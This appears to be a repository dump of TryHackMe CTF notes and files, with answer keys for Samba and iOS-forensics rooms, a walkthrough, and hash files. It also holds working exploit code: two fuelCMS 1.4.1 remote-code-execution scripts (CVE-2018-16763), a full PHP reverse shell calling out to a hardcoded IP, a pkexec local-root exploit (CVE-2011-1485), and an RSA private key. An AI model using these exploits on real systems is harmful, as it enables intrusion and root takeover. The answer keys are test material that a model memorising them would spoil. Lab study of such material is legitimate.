- How do you specify the password to authenticate with?

	- `-P`

- What flag is set to tell smbclient to not use a password?

	- `-N`

- While in the interactive prompt, how would you download the file test, assuming it was in the current directory?

	- `get test`

- In the interactive prompt, how would you upload your /etc/hosts file?

	- `put /etc/hosts`

### [Section 6 - Samba]: A note about impacket

	// no answer needed

### [Miscellaneous]: A note on privilege escalation

Privilege escalation is such a large topic that it would be impossible to do it proper justice in this type of room. However, it is a necessary topic that must be covered, so rather than making a task with questions, I shall provide you all with some resources.

- General:

	- https://github.com/swisskyrepo/PayloadsAllTheThings (A bunch of tools and payloads for every stage of pentesting)

- Linux:

	- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ (a bit old but still worth looking at)

	- https://github.com/rebootuser/LinEnum (One of the most popular priv esc scripts)

	- https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh (Another popular script)

	- https://github.com/mzet-/linux-exploit-suggester (A Script that's dedicated to searching for kernel exploits)

	- https://gtfobins.github.io (I can not overstate the usefulness of this for priv esc, if a common binary has special permissions, you can use this site to see how to get root perms with it.)

- Windows:

	- https://www.fuzzysecurity.com/tutorials/16.html  (Dictates some very useful commands and methods to enumerate the host and gain intel)

	- https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp (A bit old but still an incredibly useful script)

	- https://github.com/411Hall/JAWS (A general enumeration script)

	// no answer needed

### [Section 7 - Final Exam]: Good Luck :D

- `gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	
	- You will find a directory. Let's call it `s*****`

- `gobuster dir -u http://<TARGET_IP>/s***** -x .txt,.js,.key,.php,.html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`

	- You will find the `s*****.txt` file.

- `wget http://<TARGET_IP/s*****/s*****.txt`

- `Search on Google that string. You will find the reversed.`

- `nmap -p 22 <TARGET_IP>`

- `ssh nyan@<TARGET_IP>` and then enter the cracked pwd.

- `ls`

- `cat user.txt` and enter the first flag.

- `sudo -l`

- `sudo /bin/su`

- Enter the root flag.


# congratulations!!!!


================================================
FILE: crack-the-hash/hash1_4.txt
================================================
$2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom


================================================
FILE: crack-the-hash/hash2_1.txt
================================================
F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85


================================================
FILE: crack-the-hash/hash2_2.txt
================================================
1DFECA0C002AE40B8619ECF94819CC1B


================================================
FILE: crack-the-hash/hash2_3.txt
================================================
$6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.


================================================
FILE: iOS-Forensics/README.md
================================================
# iOS Forensics

- Let's get it rolling!

	  no answer needed

- What would look more suspicious? an empty hard drive or a full hard drive?

	- `an empty hard drive`

- What is the definition for an abstract view of a hard drive?

	- `image`

- Read me!

	  no answer needed

- Read the above!

	  no answer needed

- Read the above!

	  no answer needed

- What is the name of a forensics tool that couldn't be used in a court of law, because data could be written to the device being analysed?

	- `iFunBox`

- You've found an iPhone with no passcode lock, what acquisition method would you use?    

	- `direct acquisition`

- What is the name of the certificate that gets stored on a computer when it becomes trusted?

	- `trust certificate`

- Read me!

	  no answer needed

- Start browsing!

	  no answer needed

- Who was the recepient of the SMS message sent on 23rd of August 2020?

	- `Lewis Randall`

- What did the SMS message say?

	- `Did you get the goods?`

- Looking at the address book, what is the first name of the other person in the contacts?

	- `Jenny`

- Following on from Question #3, what is their listed "Organization"

	- `Transportation`

- Investigate their browsing history, what is the address of the website that they have bookmarked?    

	- `http://blog.cmnatic.co.uk`

- The suspected received an email, what is the `remote_id` of the sender?    

	- `51.32.56.12`

- What is the name of the company on one of the images stored on the suspects phone?

	- `TryHackMe`

- What is the value of the cookie that was left behind?

	- `THM{COOKIES!!!}`

- Data acquired!

	  no answer needed



================================================
FILE: ignite/47138.py
================================================
# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763


import requests
import urllib

url = "http://10.10.36.146"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
    	
	r = requests.get(burp0_url)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]


================================================
FILE: ignite/fuel-cms-exploit.py
================================================
# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763


import requests
import urllib

url = "http://10.10.36.146:80"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]


================================================
FILE: ignite/revshell.php
================================================
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.36.146';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 




================================================
FILE: kenobi/id_rsa
================================================
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5x5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVIt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVIQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVIj+isvtq
mgG2GD0TWueNnddGafwIp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQIWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY-----


================================================
FILE: kenobi/log.txt
================================================
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName			"ProFTPD Default Installation"
ServerType			standalone
DefaultServer			on

# Port 21 is the standard FTP port.
Port				21

# Don't use IPv6 support by default.
UseIPv6				off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask				022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances			30

# Set the user and group under which the server will run.
User				kenobi
Group				kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
AllowOverwrite		on

# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
  DenyAll
</Limit>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User				ftp
  Group				ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias			anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients			10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin			welcome.msg
  DisplayChdir			.message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which 
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic 
# errors. 

#======================= Global Settings =======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
	server string = %h server (Samba, Ubuntu)

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
#   wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# This will prevent nmbd to search for NetBIOS names through DNS.
   dns proxy = no

#### Networking ####

# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0

# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
#   syslog only = no

# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
   syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d


####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller". 
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
   server role = standalone server

# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.  
   passdb backend = tdbsam

   obey pam restrictions = yes

# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
   unix password sync = yes

# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
   pam password change = yes

# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
   map to guest = bad user

########## Domains ###########

#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set 
#

# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
;   logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
#   logon path = \\%N\%U\profile

# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
;   logon drive = H:
#   logon home = \\%N\%U

# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
;   logon script = logon.cmd

# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe.  The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

# This allows machine accounts to be created on the domain controller via the 
# SAMR RPC pipe.  
# The following assumes a "machines" group exists on the system
; add machine script  = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.  
; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
;   include = /home/samba/etc/smb.conf.%m

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
;   idmap uid = 10000-20000
;   idmap gid = 10000-20000
;   template shell = /bin/bash

# Setup usershare options to enable non-root users to share folders
# with the net usershare command.

# Maximum number of usershare. 0 (default) means that usershare is disabled.
;   usershare max shares = 100

# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
   usershare allow guests = yes

#======================= Share Definitions =======================

# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
;   comment = Home Directories
;   browseable = no

# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
;   read only = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
;   create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
;   directory mask = 0700

# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
;   valid users = %S

# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
;   comment = Network Logon Service
;   path = /home/samba/netlogon
;   guest ok = yes
;   read only = yes

# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
;   comment = Users profiles
;   path = /home/samba/profiles
;   guest ok = no
;   browseable = no
;   create mask = 0600
;   directory mask = 0700

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin
[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes



================================================
FILE: lianyu/exiftool_Queens_Gambit-output.txt
================================================
ExifTool Version Number         : 12.10
File Name                       : Queen's_Gambit.png
Directory                       : ..
File Size                       : 537 kB
File Modification Date/Time     : 2020:11:22 15:22:24+01:00
File Access Date/Time           : 2020:11:22 15:22:24+01:00
File Inode Change Date/Time     : 2020:11:22 15:22:24+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1280
Image Height                    : 720
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
XMP Toolkit                     : XMP Core 5.4.0
Orientation                     : Horizontal (normal)
Image Size                      : 1280x720
Megapixels                      : 0.922


================================================
FILE: lianyu/exiftool_aa-output.txt
================================================
ExifTool Version Number         : 12.10
File Name                       : aa.jpg
Directory                       : ..
File Size                       : 187 kB
File Modification Date/Time     : 2020:11:22 15:22:15+01:00
File Access Date/Time           : 2020:11:22 15:22:42+01:00
File Inode Change Date/Time     : 2020:11:22 15:22:15+01:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 1200
Image Height                    : 1600
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1200x1600
Megapixels                      : 1.9


================================================
FILE: lianyu/exiftool_leave-me-alone-output.txt
================================================
ExifTool Version Number         : 12.10
File Name                       : Leave_me_alone.png
Directory                       : ..
File Size                       : 500 kB
File Modification Date/Time     : 2020:11:22 15:28:24+01:00
File Access Date/Time           : 2020:11:22 15:28:24+01:00
File Inode Change Date/Time     : 2020:11:22 15:28:24+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 845
Image Height                    : 475
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 845x475
Megapixels                      : 0.401


================================================
FILE: lianyu/exploit.c
================================================
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ 
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>



int main(int argc,char *argv[], char ** envp)
{
	
	time_t tim_seed1;
	pid_t pid_seed2;
	int result;
	struct stat stat_buff;
	
	char * chfn_path = "/usr/bin/chfn";
	char cmd_buff[4096];
	
	char * pkexec_argv[] = { 
		"/usr/bin/pkexec",
		"/bin/sh",
		"-c",
		cmd_buff,
		NULL
	};
	int pipe1[2];
	int pipe2[2];
	int pipe3[2];	
	pid_t pid,pid2 ;
	char * chfn_argv[] = { 
		"/usr/bin/chfn",
		NULL
	};

	char buff[8];
	char read_buff[4096];
	char real_path[512];	
	struct termios termios_p;
	
	int count = 0;
	int flag = 0;
	int usleep1 = 0;
	int usleep2 = 0;

	
	bzero(cmd_buff,4096);
	bzero(real_path,512);
	realpath(argv[0],real_path);
	
	tim_seed1 = time(NULL);
	pid_seed2 = getpid();
	srand(tim_seed1+pid_seed2);
	

	
	
	//get terminal attr
	tcgetattr(0,&termios_p);
	snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
//	printf("Cmd line:%s",cmd_buff);
	if(! geteuid()){
	//Succs => r00t!
		char * exec_argv[2]={
			"/bin/sh",
			NULL
		};
		setuid(0);
		setgid(0);
		execve("/bin/sh",exec_argv,0);
		perror("execve shell");
		exit(-1);
	}

	printf("pkexec local root exploit by xi4oyu , thx to dm\n");
	
	if(pipe(pipe1)){
		perror("pipe");
		exit(-2);
	}
	
	for(count = 500; count && !flag; count--){
	
	//	printf("Count %d\n",count);
		pid = fork();
		if( !pid ){
			// Parent
			if( !pipe(pipe2)){
			
				if(!pipe(pipe3)){
					pid2 = fork();
					if(!pid2){
						// Parent 2
						close(1);
						close(2);
						close(pipe1[0]);
						dup2(pipe1[1],2);
						dup2(pipe1[1],1);
						close(pipe1[1]);
						close(pipe2[0]);
						close(pipe3[1]);
						write(pipe2[1],"\xFF",1);
						read(pipe3[0],&buff,1);
										
						execve(pkexec_argv[0],pkexec_argv,envp);
						perror("execve pkexec");
						exit(-3);
					
					}
					close(0);
					close(1);
					close(2);
					close(pipe2[1]);
					close(pipe3[0]);
					read(pipe2[0],&buff,1);
					write(pipe3[1],"\xFF",1);
					usleep(usleep1+usleep2);

					execve(chfn_argv[0],chfn_argv,envp);
					perror("execve setuid");
					exit(1);
				}
				

			}
			perror("pipe3");
			exit(1);				
		}
		
		//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
		memset(pipe3,0,8);
		
		struct pollfd * pollfd = (struct pollfd *)(&pipe3);
		pollfd->fd = pipe1[0];
		pollfd->events =  POLLRDNORM; 
		
		if(poll(pollfd,1,1000) < 0){
		
			perror("poll");
			exit(1);
		}
		
		if(pollfd->revents & POLLRDNORM ){
			memset(read_buff,0,4096);
			read(pipe1[0],read_buff,4095);
			if( strstr(read_buff,"does not match")){
				usleep1 += 500;
				usleep2 = rand() % 1000;
			
			}else{
				usleep1 -= 500;
				
			
			}
		
		
		}
		
		if(!stat(real_path,&stat_buff)){
			if(!stat_buff.st_uid){
				if(!stat_buff.st_gid){
					if(stat_buff.st_mode & 0x800){
						
						char *exec_array[]={
							real_path,
							NULL
						};
						
						flag = 1;
						tcsetattr(0,2,&termios_p);
						execve(real_path,exec_array,0);
						perror("execve self");
						exit(1);
					}
				}
			
			}
		}
		
		tcsetattr(0,2,&termios_p);
	
	}
		result = 0;
		return result;

}
            


================================================
FILE: lianyu/exploit.c.save
================================================
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ 
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>



int main(int argc,char *argv[], char ** envp)
{
	
	time_t tim_seed1;
	pid_t pid_seed2;
	int result;
	struct stat stat_buff;
	
